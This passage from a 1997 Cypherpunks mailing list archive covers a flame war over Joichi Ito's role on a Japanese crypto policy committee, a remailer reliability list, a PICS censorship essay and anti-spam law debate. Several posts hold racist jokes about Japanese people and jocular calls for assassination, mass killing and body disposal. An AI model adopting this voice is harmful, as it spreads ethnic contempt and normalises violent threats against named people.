> Subject: Re: Tim Throws a "Leaner" / Re: Tim Speaks the Truth

> As for Joichi's message quoted above, he should hope to hell that he wakes
> up and realizes that not even in Japan can journalists--which is what I
> thought he once was, or claimed to be--serve on Ministry committees to
> decide how citizen-units may communicate!
> 
> Any journalist in Europe or in the U.S. would be seen as having irreparably
> compromised his journalistic objectivity by serving on such a panel! And
> properly so, of course.

As long as they were representing their personal opinions and not acting as
a journalist (ie being paid by a 3rd party) and they disclose the action
there would be compromise on objectivity.

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 4 Aug 1997 13:58:05 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Suggested book
Message-ID: <199708040548.AAA32327@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Somebody (I'm too lazy to check the archives) mentioned "The Soveriegn
Individual" by Davisdson & Rees-Mogg. I happened to stumble across it in the
bookstore so I bought it.

While I am only about a 3rd through it and clearly disagree with several
points the main thesis is worth examining. Strongly suggested for any cpunk.

The Sovereign Individual: How to survive and thrive during the collapse
                          of the welfare state
J.D. Davidson & Lord W. Rees-Mogg
ISBN 0-684-81007-7
$25.00

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 4 Aug 1997 16:02:06 +0800
To: cypherpunks@toad.com
Subject: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up / Tim Throws a "Leaner" / Re: Tim Speaks the
Message-ID: <199708040739.BAA02500@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Joichi Ito wrote:
> 
> OK. I give up. I think DreamMonger's last comment about at least sort of
> believing in my intentions is about the best it will get for me here.

  Sure, quit before we even have a chance to use the cheap shots we've
thought up since our last posts. Spoilsport.

> Tim, you're in my killfile now too so I'm not going to respond directly to
> your comments.

  Me neither. I'm going to use email.

> Now at least when I am going through the meatgrinder, I won't know if it is
> a cypherpunk or a Japanese fascist who's sending me through.

  It would probably be considered Politically Incorrect for me to
mention
that eye-shape might be a good indication, so I won't.
  Another indication might be whether your torturers are shouting,
"Confess!
You all an Ameliclan SPY!" or, "We kicked your ass in 'The Big One',
pal."
  If you haven't figured it out by the time you've been put completely
through the meatgrinder, you can still figure it out by noting whether
your remains are being mixed with rice and put in cabbage leaves, or
being coated with barbeque sauce and thrown on a grill.

> At 05:46 97/08/04 +0200, Anonymous wrote:
> >   I hope Joichi Ito paid enough attention to the OKC bombing to realize
> > that some surgeons are less skilled than others, and that there is a
> > risk in remaining too long in close proximity with cancerous tissue.
> 
> Some Japanese conservatives probably think *I* am the cancerous tissue that
> their people shouldn't hang out with...
 
  "Everybody needs somebody that they can look down on.
   That they can feel better than, at any time they please.
   Someone doing something dirty, decent folks can frown on.
   And if you can't find nobody else, then help yourself to me."
      - Kris Krisofferson

  It has been my experience that it is more fulfilling to be tortured by
CypherPunks than by Conservatives. <ymmv>
  (And the physical meetings are more fun, too.)

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 4 Aug 1997 04:13:10 +0800
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <Pine.LNX.3.91.970802202341.379B-100000@fatmans.demon.co.uk>
Message-ID: <Pine.LNX.3.93.970804014714.120A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Paul Bradley wrote:

[...]

> > Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
> > posts into usenet you don't wish them to be removed from usenet?
> 
> That would be for Dimitri to decide for himself, and not for some 
> cocksucker to take a unilateral decision on.

I have made no such unilateral decision,  I have simply asked a question
of the good Doctor.

> Of course disabling cancels on all news-servers would mean such a freak
> article couldn`t be cancelled, even by it`s author, 

Wouldn't authentercated cancel models be better so an artical could be
cancelled by its author and no other.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+SpXaQK0ynCmdStAQGiGwP+Pe67+xKUZetX1ORoW1V5M5macasopNtu
FiPeEB7e+crbb+Gut+jfjAHEPh2wHUsviRkApt1wbnjohtT0hYgXWY34lX64VjBz
OB1q9Nm0y0ATclw9fsv3bgDH5wRVFtogJe6Lmb0e1kI4rp4hNUGTf/AFclUcK+nP
UVIIa67yRCM=
=1197
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 4 Aug 1997 08:36:52 +0800
To: cypherpunks@toad.com
Subject: Broad-Band Proclaimations ("EVERYBODY AGREES THAT...)
Message-ID: <199708040023.CAA04380@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




EVERYBODY AGREES THAT...smoking is bad for you.

>From News of the Weird:
* Among the recipients of the American Lung Association's
"Thumb's Up" motion-picture awards, presented at the time of the
Oscars in  March to honor those films and characters who present a
no-smoking image, was Woody Harrelson for his role in
discouraging his movie wife from smoking in "The People Vs.
Larry Flynt."  However, in the movie, both Flynts are heavily
addicted to illegal drugs and seem to be indifferent to sharing
needles for injecting them.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 4 Aug 1997 12:05:58 +0800
To: cypherpunks@toad.com
Subject: Tim Throws a "Leaner" / Re: Tim Speaks the Truth /  Re: Tim Misfires / Re: Joichi Ito as a Junior Policeman
Message-ID: <199708040346.FAA26108@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Joichi Ito wrote:
> As for Tim's message... I keep worrying (when I am in Japan) that I'm too
> radical, so it's nice to hear from someone who is really hardcore to put
> a wimp like me in my place. ;-P

  Actually, when Tim puts someone in what he considers to be their
place,
it usually involves the purchase of a tombstone.

Tim May wrote:
> Unlike "Toto," who claims to be "Truthmonger," I speak the truth.
 
"Am I Toto, dreaming I am TruthMonger, or TruthMonger, dreaming I am
Toto?"

> At 5:12 AM -0700 8/3/97, Joichi Ito wrote:
> >so they probably are pretty militaristic), Japan does not have the
> >equivalent of the NSA. It really is in Japanese national security interests

> Wise up, Joichi. You live in society more totalitarian than anything we
> fear. 

  Japanese society has long been very rule-oriented, in large part as
a result of the country's geography, population and history.
  A "No Farting" sign which might reek of totalitarianism when placed
on the open range, might well seem less so when placed in a two-man
tent occupied by six people. Environment, geography and the history
of a a country, society and its people, all play a part in the degree
to which an individual will view their personal position in regard to
the society and government around them. And each will perceive the way
in which they feel they can best promote their beliefs within their
society and government.
  
> Japanese citizen-units under video surveillance and afraid to speak
> out. 

  It seemed to me that after Jim Bell's arrest, most of the posts to
the list posted an almost-standard disclaimer: "Actually, although
I hardly knew the man, thought he was a _loon_, and _disagreed_ with
most of what he had to say..."

> And surveillance and espionage technology deployed by your fascist
> government--a term I mean literally, not casually--will worsen things
> dramatically.
> The only "cooperation" with them is to seek their annihilation.

  Government aside, if I was forced by fate to live in Japan, my first
act would probably be to annihilate 80% of the population, just to get
enough elbow room to negate the need for so damn many rules, both from
society and government. Of course, the same could probably be said for
New York City, from my persepective.

> And nothing but mischief will come out any meetings with government on
> "crypto policy," as their goals can never be our goals. At least in the
> U.S., despite obvious flaws, we have a "Congress shall make no law"
> provision which _tends_ to make government meddling in speech, such as
> meddling in crypto, more difficult.

  I hope that the "flag" Tim is wrapping himself in isn't the same one
that he was burning yesterday.
  {Not that I'm accusing Tim of being purposely deceitful. It's just
that when we throw a "leaner" instead of a "ringer," they sometimes
lean in opposite directions.}

  Seriously, I believe in the original goals of organizations such as
the EFF and CDT, etc, but I also believe that their leaders should be
assassinated every few years in order to allow the promotion of people
whose senses are not so hardened by D.C. that they no longer recognize
a "stench" when they smell it. (ibid, the Constitution and our beloved
Legislators.)
  Joichi Ito sounds very sincere about his commitment to act in a way
he feels will promote cypherpunkish viewpoints within his system of
government. I can't help but believe, however, that his efforts will
ultimately only serve to delay the creeping spread of tyrannical cancer
in our societies and our governments.
  I tend to lean more toward Tim's viewpoint, that there comes a point
when the best option is surgery (a radical Legislat-ectomy?), but I
would not go so far as to suggest that others should not pursue other
treatments which they think may stem the tide of the disease.

  I hope Joichi Ito paid enough attention to the OKC bombing to realize
that some surgeons are less skilled than others, and that there is a
risk in remaining too long in close proximity with cancerous tissue.

DreamMonger
"There's something wrong when I'm a TruthMonger 
   under an increasing number of personas."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 4 Aug 1997 22:05:25 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199708041350.GAA06363@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash esub latent cut ek reord";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 4 Aug 97 6:47:45 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
redneck  config@anon.efga.org             *##-+##**#**     4:41  99.98%
squirrel mix@squirrel.owl.de              -++-+------   2:40:53  99.96%
cracker  remailer@anon.efga.org           +++-++++++**    21:28  99.96%
weasel   config@weasel.owl.de             +++-+-+-+--   1:48:16  99.95%
cyber    alias@alias.cyberpass.net        **-++*****+*    11:47  99.88%
nym      config@nym.alias.net             *-+###*####+    20:38  99.88%
winsock  winsock@rigel.cyberpass.net      ------------  5:48:23  99.83%
mix      mixmaster@remail.obscura.com     -*-++***+*+*    46:32  99.80%
arrid    arrid@juno.com                   *++++-+- +    1:06:16  98.51%
replay   remailer@replay.com               *   ** ***-    15:25  97.91%
reno     middleman@cyberpass.net           +*+ +  +++-    55:18  93.85%
neva     remailer@neva.org                + +*--   ++*  2:52:22  92.55%
jam      remailer@cypherpunks.ca            +*--   +**  2:25:28  88.85%
hera     goddesshera@juno.com             --------  -   3:36:00  83.26%
valdeez  valdeez@juno.com                 ---           4:14:27  14.58%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 4 Aug 1997 19:25:30 +0800
To: cypherpunks@toad.com
Subject: EC Report on Crypto
Message-ID: <1.5.4.32.19970804110047.00707678@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



     4 August 1997, ComputerWorld:

     Report/ Encryption policy hurts trade 

     U.S. controls on the export of encryption technology and
     telecommunications equipment represent significant barriers
     to international trade, the European Commission said in a
     report last week. 

     The development of digital communications has prompted the
     need for improved protection against the unauthorized use of
     personal data, trade secrets, banking information and
     databases. Without that protection, it is unlikely that
     electronic commerce will take off, said one European
     Commission official. 

     The commission's 13th annual ``Report on United States
     Barriers to Trade and Investment'' said the U.S. is the
     dominant supplier of key computing components, and the
     country's limitations on the export of strong encryption
     products hurts the growth of electronic commerce. 

----------

Anyone with a URL for this report? The EC site is uncrackably
multi-lingual otiose.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 4 Aug 1997 20:55:57 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up (fwd)
Message-ID: <199708041244.HAA32722@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 04 Aug 1997 16:50:51 +0900
> From: Joichi Ito <jito@eccosys.com>
> Subject: Re: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up
>   / Tim Throws a "Leaner" / Re: Tim Speaks the

> At 00:44 97/08/04 -0500, Jim Choate wrote:
> > Forwarded message:
> > 
> > > Date: Sun, 3 Aug 1997 22:02:24 -0700
> > > From: Tim May <tcmay@got.net>
> > > Subject: Re: Tim Throws a "Leaner" / Re: Tim Speaks the Truth
> 
> > > Any journalist in Europe or in the U.S. would be seen as having
> irreparably
> > > compromised his journalistic objectivity by serving on such a panel! And
> > > properly so, of course.
> > 
> > As long as they were representing their personal opinions and not acting as
> > a journalist (ie being paid by a 3rd party) and they disclose the action
> > there would be compromise on objectivity.
> 
> Jim, I hope you meant to say "wound not be compromising" in the above
> statement.

Actualy it was supposed to be a question mark at the end...

> This may sound like an afterthought, but one of the reasons that I did
> such a stupid thing as post my association with a police study group 
> here was as a part of being very open about what I was doing and
> trying to ask for advice on that basis. Also, FYI, I am not being paid
> by the government or any 3rd party. I am not a "consultant" to the
> government. I am an "outside expert". I am not representing the police
> to the people of Japan, I am trying represent the peoples' interest to
> the government... but I'll stop now before I get bashed again.

If all it takes to take over the citizens of Japan is to bash them a little
then you folks are Doomed. Perhaps you have spent one too many days
hammering nails that stick up...

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles <apache@bear.apana.org.au>
Date: Mon, 4 Aug 1997 06:30:10 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PICS and intellectual freedom FAQ
In-Reply-To: <Pine.GSO.3.95.970803100415.13596K-100000@well.com>
Message-ID: <199708032205.IAA09870@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----



A link in the PICS FAQ that Declan posted was to The Net Labeling
Delusion. For anyone interested in the relationship of PICS/RASCi
and censorship I recommend reading this article in detail. It presents
a very interesting case for censorship by stealth and argues that since
blocking software will block unlabeled sites that mandatory-voluntary
labeling is unnecessary and unjustified. It also examines some
possible motives on the part of government for advocating such
mandatory-voluntary censorship schemes.

For the full text see :

     http://www.thehub.com.au/~rene/liberty/label.html

Here is a snip from the introduction..

Protection or Oppression
========================

The developers of PICS say it's an infrastructure which facilitates
voluntary labelling  and selection of Internet content.  They promote
it as "Internet Access Controls  Without Censorship". Its advocates
say it's nothing to do with censorship and can't  assist the
censors. Meanwhile, PICS has achieved its original objective: to
provide an  alternative to government censorship legislation, that is,
to provide instead a  technological means of facilitating censorship. 

Governments, finally beginning to comprehend the difficulties of
blatantly censoring the Net, are becoming enthused about filtering
technology. Service providers, desperately hoping to place themselves
out of reach of over-zealous governments who would hold them liable
for material they carry, are demanding their customers rate and label
all their material. 

Ironically, an increasing number of the original proponents of
filtering software are becoming much less enthused as a host of new
issues arise. Filtering programs and labelling look set to become
privatised censorship disguised as consumer information backed by
government coercion. 

This document does not propose that PICS systems and third party
filtering software should be entirely black-banned by Net users. It
does, however, suggest that parents and other consumers should
ascertain what type of information is, and is not, being blocked and
that filtering advocates should be extremely cautious about
unreservedly promoting these systems as the saviour of the Net. 

Contents: 

Summary
What are filtering programs and rating/labelling systems?
Labelling has nothing to do with censorship, does it? 
   What is censorship? 
   What is labelling? 
   Labels are just tags, helpful information, surely? 
   Book in libraries are labelled, is there a difference? 
   Are book reviews similar to labels? 
   So, is labelling censorship or not? 
Is labelling likely to become compulsory? 
Will labelling protect children from harmful material? 
Do governments have a legitimate interest in enforcing, or encouraging,
labelling? 
Why would governments seek to enforce labelling? 
   The alleged reasons
   - To protect children
   - To enable electronic commerce to reach its full potential
   The other agenda
   - Censorship by Stealth: making publication too difficult, costly
   and risky
   - Banning access to the rest of the world
   - Facilitating future changes to censorship laws
   - Being seen to be doing something
How would governments enforce labelling? 
   Legislation 
   Coercion 
What's wrong with compulsory labelling anyway? 
What's wrong with the RSACi Rating System?
Voluntary labelling is a good idea, isn't it?
Conclusion

 Summary: 

Indications are mounting that labelling of all content will be made
mandatory in Australia.  

Claims that all material, particularly material unsuitable for
children, must be labelled in order to protect children are
technologically ignorant at best, insidious at worst.

Unilateral action in Australia will increase costs in the burgeoning
on-line multimedia industry here, and may force many sites off-shore.

Compulsory labelling will restrict quantity and quality of information
as a result of: 

   the complexity, unsuitability and inadequacies of some, probably all,
   rating systems similar to RSACi 
   difficulties associated with lack of technical knowledge 
   overly cautious ratings because it is too much effort, or to avoid
   potential complaints, or to purposely seek to undermine an enforced
   system 
   lack of time and/or staff to rate material 
   financial restraints 
   unwillingness to enter into complex legal agreements with ratings
   organisations 
   unwillingness to provide personal information to ratings organisations
   which can be used for, or sold to, mailing lists etc. 

Compulsory labelling will force content providers to: 

   self-censor in accord with someone else's value system 
   place themselves at greater risk of complaints regarding legal material
   because of the many shades of grey inherent in rating systems.

Compulsory labelling enables governments to achieve censorship by
stealth as well as facilitate future more censorious laws whilst
claiming non-censorious intent.

Compulsory labelling achieved by government coercion of private
enterprise enables government to avoid all responsibility and
criticism for resultant problems and difficulties.

Voluntary labelling of material which is suitable and intended for
children will provide a child-safe environment.

Rating services have the potential to influence community views and
attitudes to a greater extent than either existing broadcast media or
uncensored access to the Internet.  

Rating organisations must be required to publicly disclose concise
details of rating criteria and value systems to ensure consumers can
ascertain what is, or is not, blocked. 

- -- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///                                   apache@quux.apana.org.au
>::::::::::\\\     Finger me @bear for PGP PUBKEY      Brisbane AUSTRALIA
   '\\\\\'   \\    Apache




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 4 Aug 1997 15:00:14 +0800
To: cypherpunks@toad.com
Subject: Palladin Press Announces "Home Composting" by Tim C. May
Message-ID: <199708040642.IAA12930@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote: 
> At 8:46 PM -0700 8/3/97, Anonymous wrote:
> >Joichi Ito wrote:
> >> As for Tim's message... I keep worrying (when I am in Japan) that I'm too
> >> radical, so it's nice to hear from someone who is really hardcore to put
> >> a wimp like me in my place. ;-P

> >  Actually, when Tim puts someone in what he considers to be their
> >place, it usually involves the purchase of a tombstone.
 
> Actually, the trick is to avoid having the body discovered. What goes into
> the 10 h.p TroyBilt Chipper/Shredder comes out not needing any kind of
> tombstone at all.

  This may explain why my paramilitarist neighbor's garden always does
so much better than mine. (It could also explain the bone fragments in
his garden potatoes.)

> Not that I have ever advocated killing mere folks like Joichi with whom I
> disagree strongly. (A new quote: "Killfiles don't need tombstones.")

  Definition of a CypherPunk tragedy: "A Killfile being deleted without
an ASCII Art message in it." 

> The point is, if Joichi Ito wants to ever be taken at all seriously, as a
> reasonable objective reporter of what is happening, his co-opting by the
> Japanese Self Defense Forces, Chobetsu, etc., for this "committee" on
> crypto policy, must be scrutinized, and almost certainly criticized.

  The JSDF, Chobetsu, etc., might well say the same thing about his
co-opting by the CypherPunks.
  I believe that you are right about scrutinizing and criticizing the
work of all politicians and reporters, but I doubt any of us could
ultimately reach agreement on what exactly constitutes being co-opted,
or exactly when one of "us" becomes one of "them."
  I value Declan McCullagh's reporting on privacy and crypto issues,
but I recognize the need to ask him to "take his shirt off" every now
and again so we can check to see if he has an alien creature stuck
to his back, controlling his mind.
  The problem with sending spies and secret agents into the enemy
camps has always been that they may grow to like the enemy's life-
style a little *too* much.

> >> And nothing but mischief will come out any meetings with government on
> >> "crypto policy," as their goals can never be our goals. At least in the
> >> U.S., despite obvious flaws, we have a "Congress shall make no law"
> >> provision which _tends_ to make government meddling in speech, such as
> >> meddling in crypto, more difficult.
> >
> >  I hope that the "flag" Tim is wrapping himself in isn't the same one
> >that he was burning yesterday.
> >  {Not that I'm accusing Tim of being purposely deceitful. It's just
> >that when we throw a "leaner" instead of a "ringer," they sometimes
> >lean in opposite directions.}
 
> Utter bullshit. I have cited the First, Second, and other provisions of the
> Constitution for the 5 years of this list. That I would prefer an even more
> anarchistic, market-oriented system than we now have, or that I dislike the
> hundreds of thousands of laws passed over the last 50 years, is no reason
> not to use the protections of the Constitution.

  Don't shoot, I was just being fascetious.
  To tell the truth, I find it confusing these days to figure out
*which*
flag is being burned, or used to wrap oneself in, these days. Is it the
flag that defends freedom or the flag that defends children? Is it the
flag that defends the Constitution or the flag that defends "national
security?" {And if it is the flag that defends the Constitution, then
*which* Constitution? The one the founders wrote, or the one being used
as a doormat at the Whitehouse?)
  
> And the line between an
> anarchocapitalist and a strict constuctionist is fine indeed. Anyone who
> thinks this is "deceitful" is probably one of those folks who says, "Oh,
> yeah, well if you dislike government why don't you just refuse to drive on
> public roads?

  Or, perhaps, "If you dislike government why don't you just refuse to 
participate in it?"
  Different strokes for different folks. Sometimes the pen is indeed
mightier than the sword (or a Ryder truck) and sometimes the almighty
dollar is mightier than either. Regardless, "We have met the enemy, and
he is us." probably comes closer to the heart of the problem with our
societies and governments than any socio-political analysis of the 
issues and events of our time.
  The problem is not who writes what, and the reasons behind it, the
problem is the aspect of our human nature which wants us to believe
in Santa Claus, benevolent government and the goodness of our fellow
man, despite evidence to the contrary. The problem is not who blows
up a building, or a city, the problem is the aspect of our human 
nature which wants us to paint the face of justice or terrorism on
the action instead of recognizing the injustice, regardless of the
necessity, or lack thereof, of the action.

  The bottom line is that, despite our personal beliefs as to "the
meaning of life" and the values and beliefs it should be lived by,
it may well be that this planet's true purpose is to serve as a
compost pile to provide nourishment for more intelligent forms of
life being grown/evolved elsewhere.
  {Keep an eye out for asteroids shaped like a "TroyBilt."}

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Mon, 4 Aug 1997 15:12:21 +0800
To: sameer <sameer@c2.net>
Subject: Re: Microsoft RAS encryption?
In-Reply-To: <3.0.3.32.19970801101506.0092b420@localhost>
Message-ID: <3.0.3.32.19970804085944.0091fd80@localhost>
MIME-Version: 1.0
Content-Type: text/plain



sameer wrote:
>	See www.l0pht.com
>> Does anybody know how Microsoft RAS implements data encryption? Apparently
>> (http://www.microsoft.com/kb/articles/q136/6/34.htm) they use RC4, but is
>> this stuff documented somewhere, like in an RFC?

What I can find at www.l0pht.com only deals with password authentication.
I'm more interested in the RC4 data encryption that Microsoft RAS servers
and clients are using. That is, once a PPP session is established and
MSCHAP is used to authenticate the session, the secret from MSCHAP is
reused as two RC4 keys with 40 or 128 bit keys (US or International
versions). But I can't find any documents on exactly how this works.

Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Tue, 5 Aug 1997 00:33:44 +0800
To: cypherpunks@cyberpass.net
Subject: Third Eternity Server Operational
Message-ID: <19970804162356.8660.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



There is a third eternity server at

               http://moloko.insync.net/eternity

Enjoy!

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Tue, 5 Aug 1997 02:39:37 +0800
To: Charles <apache@bear.apana.org.au>
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <Pine.LNX.3.93.970803062838.108B-100000@shirley>
Message-ID: <3.0.2.32.19970804093014.007720b4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:52 PM 8/3/97 +1000, Charles wrote:
>   ? the Platypus {aka David Formosa} said:
>>The best solution given so far is Cause's suggestion of modifying 
					[Cauce , by the way....]
>>the fax law so that we can sue the spammers.
>
>Thus giving gubmints the toe in the door they are so desperately looking 
>for to regulate/license/control the online world.
>
>The first thing you would see after passing such a law (if indeed the 
>original legislation itself didn't contain the provision) would be a 
>requirement for identification of all accounts and account holders. 
>Anonymous email and anonymous remailers would be the first victims.

Hear, hear!  The fax law says precisely that you can't send a fax
without correct identification of the sender, and an email equivalent
law would do the same.  (Anonymous remailers wouldn't necessarily be
banned, as long as they identified themselves correctly; if anything
this would probably encourage deployment of remailers, mainly by spammers,
which is a mixed blessing.)  Also, there are several Supreme Court cases,
such as McIntyre vs. Ohio, that strongly uphold the right to anonymous
publication; the fax law probably violates this, though I doubt it's been
taken to court.  The issue of the cost to the receipient of junk faxes
was the justification for the junk fax laws; I've heard that
Spamford himself was the junk faxer who they were a response to,
though I haven't seen any verification of that, and of course
widespread caller-id could have taken care of the problem without
requiring a Federal law.

One obvious implementation of identification would of course be a
